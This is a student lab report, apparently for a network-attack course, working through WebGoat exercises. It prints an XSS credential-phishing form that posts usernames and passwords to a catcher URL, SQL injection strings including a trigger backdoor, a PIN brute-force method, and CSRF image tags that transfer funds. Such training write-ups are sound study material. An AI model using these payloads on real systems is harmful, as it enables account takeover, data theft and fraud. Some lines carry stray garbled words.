20155207 《网络对抗》 Exp9 Web安全基础

20155207 《网络对抗》 Exp9 Web安全基础

实验内容

  • 关于WebGoat
  • Cross-Site Scripting(XSS)练习
  • Injection Flaws练习
  • CSRF攻击

实验总结与体会

此次实验在WebGoat里作了SQL注入的10个相关实践,从上周学习的简单经过文本框中输入字符串构造SQL语句进行SQL注入到在文本框中提交文本或者发送邮件作XSS攻击,还有利用;邮件发送含有恶意URL请求的HTML对象来利用用户的COOKIE作非法操做javascript

基础问题回答

  • (1)SQL注入攻击原理,如何防护?
- 原理:SQL注入攻击指的是经过构建特殊的输入做为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,使非法数据侵入系统。

- 防护:

1.对用户的输入进行校验,能够经过正则表达式,双"-"进行转换等。
2.不要使用动态拼装sql,可使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.不要使用管理员权限的数据库链接,为每一个应用使用单独的权限有限的数据库链接。
4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽量少的提示。
6.采起辅助软件或网站平台来检测sql注入。
  • XSS攻击的原理,如何防护?
- 原理:XSS是一种常常出如今web应用中的计算机安全漏洞,它容许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者能够利用XSS漏洞旁路掉访问控制。

- 防护:

1.特征匹配方式,在全部提交的信息中都进行匹配检查,通常会对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。
2.对全部用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。
3.实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
  • (3)WebServer支持哪些动态语言
  • ASP、PHP、JSP、Python

实验过程记录

webgoat

  • 开启webgoat:java -jar webgoat-container-7.0.1-war-exec.jar
  • 在浏览器上访问localhost:8080/WebGoat,登陆

XSS攻击

Phishing with XSS

  • 这个题目咱们要在搜索框中输入XSS攻击代码:
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,而后输入用户名密码,点击登陆,WebGoat会将你输入的信息捕获并反馈给你:

Reflected XSS 反射型XSS攻击

  • code框中输入```alert("I am 20155207")题目要求:要建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容。

Stored XSS Attacks

  • 直接在title里随便输入,而后在message中输入一串代码,好比:<script>alert("5207!");</script> 提交后,再次点击刚刚建立的帖子,成功弹出窗口,说明攻击成功

Injection Flaws

Command Injection

  • 经过火狐浏览器下的一个扩展Firebug对源代码进行修改

  • 选中修改后的值再点view,能够看到命令被执行,出现系统网络链接状况

Numeric SQL Injection

  • 进行SQL注入在station字段注入特征字符,以组合成新的SQL语句,SELECT * FROM weather_data WHERE station = [station],要得到全部的天气数据,就在station中的任意一个值后面加入一个1=1,因为1=1为永真式,选择所修改的value所指向的城市,就能够获得全部的天气。

LAB:SQL Injection

String SQL Injection
  • 题目要求:使用字符串SQL注入在没有正确密码的状况下登陆帐号boss。java

  • 在密码栏中输入' or 1=1 --进行SQL注入,可是登陆失败。web

  • 查看源代码,去掉对输入长度的限制,登陆成功。正则表达式

Numeric SQL Injection
  • 经过注入语句,浏览到本来没法浏览的信息。经过一个普通员工的帐户larry,浏览其BOSS的帐户信息。首先咱们用上一题的办法登陆Larry的帐号!在密码框里输入' or 1=1 --,登陆后发现咱们只能看见Larry一我的的工资信息。

  • 浏览员工信息的按钮是ViewProfile.在网页代码中分析一下这个按钮,发现这个地方是以员工ID做为索引传递参数的,咱们要达到经过Larry来浏览老板帐户信息的目的,把其中的value值改成101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

String SQL Injection
  • 这个表单容许使用者查询他们的信用卡号,使用SQL注入让全部的信用卡号都看得见。sql

  • 咱们构造一个永真式“1”,那么无论前面的WHERE是否成立都能执行,因此构造语句'or 1='1,成功获得了所有的信用卡号。数据库

Blind Numeric SQL Injection
  • 题目要求是获得一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据。
    而后使用BurpSuite进行拦截,拦截后action--send to intruder进行暴力破解,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。能够发现2364的报文长度明显和其余不同,那这个值就应该就是2364:

Database Backdoors
  • 先输入示例101进行尝试,获得了该用户的信息。
  • 观察发现输入的语句不进行验证,因而咱们输入语句:101; update employee set salary=10000成功将该用户的工资变成10000,攻击成功:
  • 输入语句101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155207@hackme.com' WHERE userid = NEW.userid
  • 表中一旦添加新用户那么就在用户表里将新用户的邮箱改成我设置的邮箱

4.CSRF攻击

Cross Site Request Forgery
  • 在文本框中提交一个有URL恶意请求的代码,<img src='attack?Screen=278&menu=900&transFunds=100000' width='1', height='1'>,其中scr=278,menu=900,点击就会执行
CSRF Prompt By-Pass
  • 与上个实验相似,除了转帐金额还增长了确认转帐,一样构造两个包含恶意URL的图片,这次scr=268,增长<img src='attack?Screen=268&menu=900&transFunds=CONFIRM' width='1', height='1'>

成功列表

相关文章
相关标签/搜索